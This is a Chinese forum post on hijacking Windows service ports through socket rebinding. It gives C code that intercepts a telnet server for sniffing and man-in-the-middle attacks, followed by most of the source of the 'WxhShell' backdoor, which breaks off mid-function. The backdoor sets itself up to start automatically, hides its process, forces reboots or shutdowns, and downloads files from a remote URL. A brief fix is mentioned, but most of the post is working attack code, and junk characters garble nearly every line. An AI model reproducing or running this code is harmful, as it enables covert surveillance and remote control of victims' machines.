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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l#;DO9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &rmXz6 F  
:g`j gn 0  
  saddr.sin_family = AF_INET; ][IEzeI_LN  
fd<a%nSD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); CC<(V{Png  
ZWH9E.uj  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -~'{WSJ  
#rkz:ir4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2Vn~o_ga  
+=Q/'g   
  这意味着什么?意味着可以进行如下的攻击: O ^+H:Y|  
yD-L:)@"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C=&rPUX{  
k,mgiGrQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c\\'x\J7  
BS_ 3|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 AJ0 ;wx  
?"o7x[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]?#E5(V@x  
% >\v6ea  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >&z=ktB  
s G6ts,={  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t(R Jc  
\69h>h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :~Z -K\  
}CCTz0[D"  
  #include d}Y\; '2,  
  #include aGR!T{`   
  #include "nzQ$E>?$  
  #include    7l~d_<h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H`:2J8   
  int main() Hv~& RZpe  
  {  KDX1_r=Y  
  WORD wVersionRequested; q|}%6ztv-  
  DWORD ret; fUg<+|v*  
  WSADATA wsaData; 5>e#SW  
  BOOL val; 1ab_^P  
  SOCKADDR_IN saddr; ,_N+t:*#0  
  SOCKADDR_IN scaddr; pmIOV~K  
  int err; {|E'  
  SOCKET s; fQkfU;5  
  SOCKET sc; o;zU;pkB  
  int caddsize; \Xr Sn_p-  
  HANDLE mt; fK %${   
  DWORD tid;   `;7eu=  
  wVersionRequested = MAKEWORD( 2, 2 ); e@ mjh,  
  err = WSAStartup( wVersionRequested, &wsaData ); bl8EzO  
  if ( err != 0 ) { ;Eer  
  printf("error!WSAStartup failed!\n"); V8Fp1?E9S  
  return -1; {#_CzI.0f  
  } OABMIgX  
  saddr.sin_family = AF_INET; ?DwI>< W  
   p" ;5J+?(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'BiR ,M$mY  
=Lc!L !(,b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r+D ?_Lk  
  saddr.sin_port = htons(23); OtVRhR3>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b:M1P&R  
  { 5p}ri,Y<  
  printf("error!socket failed!\n"); Bo#,)%80  
  return -1; zJ=lNb?q  
  } 1z6$>{FUR  
  val = TRUE; wOLDHg_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 VbG#)>"F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ieL7jN,'m  
  { ]VCVV!G_=n  
  printf("error!setsockopt failed!\n"); T@4R|P&{)  
  return -1; _&wrA3@/L  
  } Z"pCDW)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q:5^K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "K9/^S_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bih%hqny  
+QZ}c@'r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H:k?#7D(  
  { nr{#Krkb  
  ret=GetLastError(); @CTSvTt$  
  printf("error!bind failed!\n"); u{'|/g&  
  return -1; Mjon++>Z  
  } w wuM!Z+  
  listen(s,2); k Xg&}n7  
  while(1) %A$5mi^  
  { JqmxS*_P  
  caddsize = sizeof(scaddr); n6xJ  
  //接受连接请求 ]<xzCPB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vH?rln  
  if(sc!=INVALID_SOCKET) j&Trvw<t  
  { VRs|";  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [pRRBMho  
  if(mt==NULL) 1`Ig A0V`"  
  { Ct<]('Hm(  
  printf("Thread Creat Failed!\n"); KL<,avC/  
  break;  Nt w?~%  
  } 0z =?}xr  
  } WR<?_X_  
  CloseHandle(mt); P{ K;vEp  
  } \GD\N=?~  
  closesocket(s); tgVMgu  
  WSACleanup(); 7@1GSO:Yf  
  return 0; ]i:_^z)R  
  }   B" 0a5-pkr  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1s_N!a  
  { Vm*E^ v  
  SOCKET ss = (SOCKET)lpParam; >lV'}0u)  
  SOCKET sc; ib\_MNIb  
  unsigned char buf[4096]; \:m1{+l  
  SOCKADDR_IN saddr; KPrH1 [VU  
  long num; &|K9qa~)Y  
  DWORD val; WqJrDj~  
  DWORD ret; jl"su:y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ! }>CEE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8-PHW,1@a3  
  saddr.sin_family = AF_INET; fpa ~~E-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :OFs" bC  
  saddr.sin_port = htons(23); FTQNS8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sx n{uRF  
  { !kS/Ei  
  printf("error!socket failed!\n"); k.ttrKy<q/  
  return -1; Q@ Ze+IhK`  
  } `oU|U!|  
  val = 100; /&  W&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0NF=7 j  
  { ZYS]Et[Q  
  ret = GetLastError(); `*ALb|4ilG  
  return -1; c[>xM3=e^q  
  } H:F'5Zt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @GWJq 3e  
  { g.*DlD%%  
  ret = GetLastError(); M5kw3Jy5  
  return -1; bn%4s[CVb4  
  } n'@*RvI:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eBWgAf.k  
  { 4q"4N2  
  printf("error!socket connect failed!\n"); ~Z~V:~  
  closesocket(sc); mIZ6[ ?  
  closesocket(ss); :2.<JUDM  
  return -1; jx{wOb~oO)  
  } |[)n.N65 =  
  while(1) Y:R*AOx  
  { EeR}34  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jVPX]8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c`@";+|r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 al"=ld(  
  num = recv(ss,buf,4096,0); bE;c&g  
  if(num>0) )|=4H>?%  
  send(sc,buf,num,0); ek"U q RY  
  else if(num==0) }/lyrjV  
  break; w>o/)TTJL  
  num = recv(sc,buf,4096,0); E)`:sSd9  
  if(num>0) +Qf<*  
  send(ss,buf,num,0); 2FcNzAaV  
  else if(num==0) brX[-  
  break; \(MI DCZ@-  
  } E&N~ h|CL  
  closesocket(ss); 9:P\)'y?  
  closesocket(sc); dmWCNeja.  
  return 0 ; P1R5}i  
  } 2){O&8A  
PJ YUD5  
\U3v5|Q  
========================================================== M-Ek(K3SRf  
^I KT!"J&?  
下边附上一个代码,,WXhSHELL ^=k=;   
Z (t7QFd  
========================================================== N% ?R(  
#aQQd8   
#include "stdafx.h" l8khu)\n4R  
s"XwO8yhM  
#include <stdio.h> fy$?~Ji &  
#include <string.h> '55G:r39  
#include <windows.h> %!r.) Wx|2  
#include <winsock2.h> pC]XbokES  
#include <winsvc.h> Re2&qxE  
#include <urlmon.h> D4\[D8pD  
 fDloL  
#pragma comment (lib, "Ws2_32.lib") 'b0r?A~c=  
#pragma comment (lib, "urlmon.lib") <F8e?xy  
W*Si"s2  
#define MAX_USER   100 // 最大客户端连接数 jfiUf1Mj  
#define BUF_SOCK   200 // sock buffer B 6z 'Q  
#define KEY_BUFF   255 // 输入 buffer /Kh,  
0'HQ=pP  
#define REBOOT     0   // 重启 ah%Ws#&  
#define SHUTDOWN   1   // 关机 <DP8a<{{  
$ x:N/mMu`  
#define DEF_PORT   5000 // 监听端口 `8S3Y  
YS#*#!ZMn?  
#define REG_LEN     16   // 注册表键长度 )Gm9x]SVl  
#define SVC_LEN     80   // NT服务名长度 BA2J dU  
+4  h!;i  
// 从dll定义API  \_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3vKTCHbk9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v2I? 5?j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2e-`V5{)b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /z_]7]  
'zbvg0T  
// wxhshell配置信息 E#\Oe_eq~N  
struct WSCFG { sQJGwZ 7  
  int ws_port;         // 监听端口 m8;w7S7,j~  
  char ws_passstr[REG_LEN]; // 口令 r^a:s]  
  int ws_autoins;       // 安装标记, 1=yes 0=no T-#4hY`  
  char ws_regname[REG_LEN]; // 注册表键名 `/Rqt+C  
  char ws_svcname[REG_LEN]; // 服务名  DR{O.TX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3@qv[yOE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 op\$(7<d-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3%bhW9H%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ] j8bv3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d!UxFY@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 co~NXpqg  
yQ$]`hr;  
}; 7FJ4;HLQ  
c -PZG|<C[  
// default Wxhshell configuration TZ+ p6M8G  
struct WSCFG wscfg={DEF_PORT, araXE~Ac  
    "xuhuanlingzhe", 7f}uRXBV$A  
    1, 8]Tv1Wc  
    "Wxhshell", ,~=]3qmbR  
    "Wxhshell", - om9 Z0e  
            "WxhShell Service", .>eRX%  
    "Wrsky Windows CmdShell Service", )A xD|A  
    "Please Input Your Password: ", I/XSW#  
  1, p20JU zy  
  "http://www.wrsky.com/wxhshell.exe", Scx!h.\5  
  "Wxhshell.exe" 'Y#'ozSQv  
    }; m$_b\^we  
J_ h.7V  
// 消息定义模块 v2E<~/|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; & W od  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tj'~RQvO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +8C }%6aX  
char *msg_ws_ext="\n\rExit."; Z[OX {_2]K  
char *msg_ws_end="\n\rQuit."; n."n?C'{  
char *msg_ws_boot="\n\rReboot..."; v\5O\ I ^  
char *msg_ws_poff="\n\rShutdown..."; W} i6{ Vh  
char *msg_ws_down="\n\rSave to "; FGx)?  
p<=Lh47 =  
char *msg_ws_err="\n\rErr!"; mf3,V|>[\  
char *msg_ws_ok="\n\rOK!"; &hO-6(^I  
;aV3j/  
char ExeFile[MAX_PATH]; L FkDb}  
int nUser = 0; vMB61 |O  
HANDLE handles[MAX_USER]; y$\tqQ  
int OsIsNt; 8W{M}>;[9  
O7Jux-E1C  
SERVICE_STATUS       serviceStatus; 2t9UJu4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $Yt|XT+!&  
0M"n  
// 函数声明 W`_JERo  
int Install(void); S )rr  
int Uninstall(void); 60vmjmXl  
int DownloadFile(char *sURL, SOCKET wsh); \1jThJn  
int Boot(int flag); W06#|8,{v  
void HideProc(void); Zs />_w}  
int GetOsVer(void); Cd_@<  
int Wxhshell(SOCKET wsl); Ai1"UYk\\Y  
void TalkWithClient(void *cs); J<;io!  
int CmdShell(SOCKET sock); &J&'J~N  
int StartFromService(void); >jsY'Bm  
int StartWxhshell(LPSTR lpCmdLine); U?sHh2*  
Tj#S')s8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :31_WJ^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ()IZ7#kL?  
e{@RBYX@+c  
// 数据结构和表定义 J`U]Ux/L  
SERVICE_TABLE_ENTRY DispatchTable[] = 1hY|XZ%qd  
{ | J3'#7  
{wscfg.ws_svcname, NTServiceMain}, \ saV8U7B  
{NULL, NULL} pOXI*0_g.  
}; "D _r</b  
=^rt?F4  
// 自我安装 lc[6Mpi7s[  
int Install(void) ywAvqT,  
{ dGYR  'x  
  char svExeFile[MAX_PATH]; KU,SAcfR7  
  HKEY key; c$ !?4z_.  
  strcpy(svExeFile,ExeFile); ]]PNYa  
7b[s W|{  
// 如果是win9x系统,修改注册表设为自启动 SG)Fk *1  
if(!OsIsNt) { EL$DvJ~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <#h,_WP*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z3uR1vF'  
  RegCloseKey(key); S-S%IdL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TQT3]h6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bO\++zOF  
  RegCloseKey(key); ^x\VMd3*w  
  return 0; pPBXUu'  
    } |CDM(g>%  
  } V|MHDMD=  
} p>7qyZ8  
else { X$>F78e*  
\R<MQ# x  
// 如果是NT以上系统,安装为系统服务 bgi_QB#k\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); no3yzF3Hi  
if (schSCManager!=0) >+a\BK"k  
{ -U/)y:k!%  
  SC_HANDLE schService = CreateService 1 %P-X!  
  ( (N9-YP?qm  
  schSCManager, H54RA6$>  
  wscfg.ws_svcname, x#EE_i/W  
  wscfg.ws_svcdisp, Vc(4d-d5  
  SERVICE_ALL_ACCESS, R.rc h2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _d@YLd78P  
  SERVICE_AUTO_START, 8M*+ |  
  SERVICE_ERROR_NORMAL, ~a ([e\~  
  svExeFile, u2oS Ci  
  NULL, zWC| Qe  
  NULL, e,xL~P{|  
  NULL, z< L2W",  
  NULL, EfEgY|V0  
  NULL B-MS@ <2  
  ); ,a{85HLr]  
  if (schService!=0) teJt.VA7)  
  { 7\6g>4J^`  
  CloseServiceHandle(schService); jsN[Drra  
  CloseServiceHandle(schSCManager); T)\}V#iA*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ipwlP|UjQ5  
  strcat(svExeFile,wscfg.ws_svcname); z$?F^3>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3J#LxYK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ty,oj33  
  RegCloseKey(key); 1,wcf,  
  return 0; ddfGR/1X  
    } ^aSb~lce  
  } .yj@hpJM  
  CloseServiceHandle(schSCManager); 4/b.;$  
} *6/IO&y1a  
} B>fZH \Y  
y0d=  
return 1; e'K~WNT  
} efXnF*Z  
F@u7Oel@m  
// 自我卸载 _eKO:Y[e  
int Uninstall(void) pN[WYM?[  
{ vh a9,5_  
  HKEY key; xsH1)  
M@cFcykK  
if(!OsIsNt) { |T|m5V'l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mXRkR.zu+  
  RegDeleteValue(key,wscfg.ws_regname); 9lb?%UFe  
  RegCloseKey(key); 1,fR kQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r^~+ <"  
  RegDeleteValue(key,wscfg.ws_regname); h^\vk!Q-d  
  RegCloseKey(key); /f#b;qa,  
  return 0; OIP]9lM$nC  
  } A<+Dx  
} 3+6Ed;P  
} 1p}Wj*mc  
else { v&d1ACctJ  
5%I3eL%s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1"H;Tr|  
if (schSCManager!=0) R(wUu#n$  
{ OXEEpoU?V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [Z$H <m{c-  
  if (schService!=0) B7 s{yb  
  { WQ9e~D"  
  if(DeleteService(schService)!=0) { fQfn7FaW_\  
  CloseServiceHandle(schService); (.4lsKN<  
  CloseServiceHandle(schSCManager); e$~[\ w  
  return 0; wo@ T@Ve~  
  } OD8 fn  
  CloseServiceHandle(schService); aFTWzz  
  } Zonjk%tC  
  CloseServiceHandle(schSCManager); &*v\t\]  
} sM-,95H  
} P 2WAnm  
oai=1vt@  
return 1; IbI0".o  
} GKt."[seV  
36=aahXd\  
// 从指定url下载文件 (uC8M,I\  
int DownloadFile(char *sURL, SOCKET wsh) fu5L)P^T  
{ ]DNPG"  
  HRESULT hr; ]}v]j`9m%  
char seps[]= "/"; b}K,wAx  
char *token; pl]|yIZ  
char *file; hP"2X"kz&  
char myURL[MAX_PATH]; {:1j>4m 2  
char myFILE[MAX_PATH]; BP3Ha8/X  
1wR[nBg*|  
strcpy(myURL,sURL); oXm !  
  token=strtok(myURL,seps);  QHNyH  
  while(token!=NULL) ~[%CUc"  
  { )]P(!hW.  
    file=token; ,31 ? Aa  
  token=strtok(NULL,seps); /s4~Ij`be  
  } }-oba_  
\|,| )  
GetCurrentDirectory(MAX_PATH,myFILE); yx]9rD1cz  
strcat(myFILE, "\\"); P{o)Ir8Tt  
strcat(myFILE, file); ^QS`H@+Z  
  send(wsh,myFILE,strlen(myFILE),0); l)NkTZ<]  
send(wsh,"...",3,0); +M-tYE 5n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2{=]Pf  
  if(hr==S_OK) DPI[~  
return 0; B\Nbt!Ps  
else '7?Y+R@|L  
return 1; x%EGxs;>^  
:r*hY$v  
} 4}H+hk8-  
8US#SI'x  
// 系统电源模块 GLf!i1Z  
int Boot(int flag) r9ulTv}X  
{ J p?XV<3Z  
  HANDLE hToken; h.EI(Ev"GN  
  TOKEN_PRIVILEGES tkp; H,(vTthd  
#~ x7G  
  if(OsIsNt) { `p()ko  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c1Ks{%iA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >$D!mraih  
    tkp.PrivilegeCount = 1; /yI4;:/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A6]:BuP;c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EZ<:>V-_D  
if(flag==REBOOT) { 'zYS:W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Skt-5S#  
  return 0; wMVUTm  
} 91]|4k93  
else { WoTeIkM9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gv`_+E{P  
  return 0; EVPQe-  
} ;\pVc)\4"  
  } aj5HtP-  
  else { O)q4^AE$  
if(flag==REBOOT) { g#$ C8k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oP,*H6)i  
  return 0; n6oOk nCna  
} PBn7{( x  
else { #tV1?q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *Ypn@YpSp  
  return 0; " aG6u^%  
} cr!8Tp;2A  
} <e UsMo<  
w % Hj'  
return 1; aF 2vgE\  
} lx+;<la  
H,% bKl#  
// win9x进程隐藏模块 ;oOTL'Vu  
void HideProc(void) 4t[7lL`Z  
{ U6&`s%mIa  
,iyy2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !,`'VQw$  
  if ( hKernel != NULL ) I/(U0`%  
  { :M"+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F=qILwd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #Pg#\v|7#>  
    FreeLibrary(hKernel); F+hV'{|w`  
  } 6BV 6<PHJ  
g4Z Uh@b~  
return; #|sE]\bsH  
} Lp&nO  
}h^ fX  
// 获取操作系统版本 nq!=9r  
int GetOsVer(void) <O+GXJ2  
{ a}@b2Wc*  
  OSVERSIONINFO winfo; <MS>7Fd2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tNY;wl:wp  
  GetVersionEx(&winfo); 0S5xmEzop  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1?.CXq K  
  return 1; O<$w-(  
  else d ~ M;  
  return 0; .:?v;rYk{  
} E>_Rsw *  
}eLApFHEDg  
// 客户端句柄模块 $V87=_}  
int Wxhshell(SOCKET wsl) 6u"wgX]H  
{ 6(QfD](2}  
  SOCKET wsh; J,W $\V]p  
  struct sockaddr_in client; $ +WXM$N  
  DWORD myID; X;!*D  
Dl/ C?Fll  
  while(nUser<MAX_USER) D/E5&6  
{ AOg'4  
  int nSize=sizeof(client); 8xlj,}QO\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p6j-8ggL  
  if(wsh==INVALID_SOCKET) return 1; ;T^s&/>E  
={B C0,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i*|HN"!  
if(handles[nUser]==0) @|:fm() <  
  closesocket(wsh); 8|Tqk,/pD  
else *)Pm   
  nUser++; WXxnOLJr  
  } 2Z{?3mAb;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,WE2.MWR  
fn<dr(Dx  
  return 0; yP]>eLTSd  
} E{V?[HcWq  
z- q.8~Z  
// 关闭 socket |cC3L09  
void CloseIt(SOCKET wsh) o+|>D&CW%  
{ {qw'gJmX  
closesocket(wsh); /kGWd9ujF  
nUser--; Hdyl]q-(P  
ExitThread(0); x_7$g<n  
} gxO~44"  
0o8`Y  
// 客户端请求句柄 aA?Qr&]M  
void TalkWithClient(void *cs) 7u"Q1n(h/  
{ %i\rw*f  
CNRSc 4Le  
  SOCKET wsh=(SOCKET)cs; XgxO:"B  
  char pwd[SVC_LEN]; W<q<}RSn  
  char cmd[KEY_BUFF]; % i?  
char chr[1]; Py*WHHO  
int i,j; bg|$1ue  
j*QdD\)  
  while (nUser < MAX_USER) { ZW;Ec+n_K  
Qy9_tvq X  
if(wscfg.ws_passstr) { w yxPvI`   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |r+ x/,2-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4]1/{</B|  
  //ZeroMemory(pwd,KEY_BUFF); 6?,qysm06  
      i=0; ~;oXLCL0})  
  while(i<SVC_LEN) { SXsszb:_  
B}04E^  
  // 设置超时 ILCh1=?{9r  
  fd_set FdRead; N@PuC>  
  struct timeval TimeOut; ;\th.!'rn  
  FD_ZERO(&FdRead); {EZR}N  
  FD_SET(wsh,&FdRead); T4W20dxL7  
  TimeOut.tv_sec=8; 6OE xAn8  
  TimeOut.tv_usec=0; CY?J$sN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EC\@$Fg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $x }R2  
ir'<H<t2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =RUy4+0>F  
  pwd=chr[0]; 6`2i'flv  
  if(chr[0]==0xd || chr[0]==0xa) { HxK'u4I  
  pwd=0; ;8#6da,  
  break; GipiO5)1C  
  } X#T|.mCdC  
  i++; 9z4F/tUq  
    } Pac ^=|h<q  
h HHR]e5:  
  // 如果是非法用户,关闭 socket ,%Z&*/*Oh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "L5w]6C4  
} r Hq1%)B  
;r2DQg"#@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f IV"U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C1A  X  
uNy-r`vg  
while(1) { ->qRGUW  
JRBz/ j  
  ZeroMemory(cmd,KEY_BUFF); Hva!6vwO%O  
JAHmmNlW  
      // 自动支持客户端 telnet标准   k|xmZA*  
  j=0; DzhLb8k  
  while(j<KEY_BUFF) { * 0K]/tn<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !=30s;-  
  cmd[j]=chr[0]; )*%uG{h  
  if(chr[0]==0xa || chr[0]==0xd) { %o9mG<.T  
  cmd[j]=0; |j"C52Q  
  break; $Ud9v4  
  } "u^2!d  
  j++; 8]&Fu3M^  
    } TS#1+f]9J<  
=_&,^h@'3e  
  // 下载文件 Z3o HOy  
  if(strstr(cmd,"http://")) { x=0Ak'1M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #}.{|'L  
  if(DownloadFile(cmd,wsh)) R;AcAJ;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lYe2;bu  
  else @}jg5}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yq, qS0Fo  
  } &T-:`(  
  else { "viZ"/ ~6  
DaH4Br.2  
    switch(cmd[0]) { :M;|0w*b  
  MuO(%.H  
  // 帮助 j^/<:e c.  
  case '?': { N]8/l:@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lm$KR!z  
    break; ^Zpz@T>m  
  } $lB!Q8a$  
  // 安装 Mb_"M7  
  case 'i': { q: F6MW  
    if(Install()) Bph(\= W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rG-x 3>b  
    else bPV}T`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e8SAjl"}  
    break; =WF@S1  
    } x15&U\U  
  // 卸载 %eF=;q  
  case 'r': { k FRVW+  
    if(Uninstall()) /hg^hF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 11S{XbU  
    else `$4wm0G|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uj}%S_9  
    break; y2g)*T!m  
    } r,|}^u8`  
  // 显示 wxhshell 所在路径 \xOYa  
  case 'p': { 4EeVO5  
    char svExeFile[MAX_PATH]; aa]|  
    strcpy(svExeFile,"\n\r"); /"!ck2d&1  
      strcat(svExeFile,ExeFile); ko!]vHB9`  
        send(wsh,svExeFile,strlen(svExeFile),0); fZs}u<3Q)  
    break; ! j6CvclT  
    } FBi&M Z`  
  // 重启 n%2c<@p#  
  case 'b': { >]Mhkf/=)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ye^#]%m  
    if(Boot(REBOOT)) Yh,,(V6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aEUEy:.  
    else { heES [  
    closesocket(wsh); =J-&usX  
    ExitThread(0); 1jK2*y  
    } uf )!SxT  
    break; ME*zMLoF+  
    } cor!Sa>  
  // 关机 2e,cE6r  
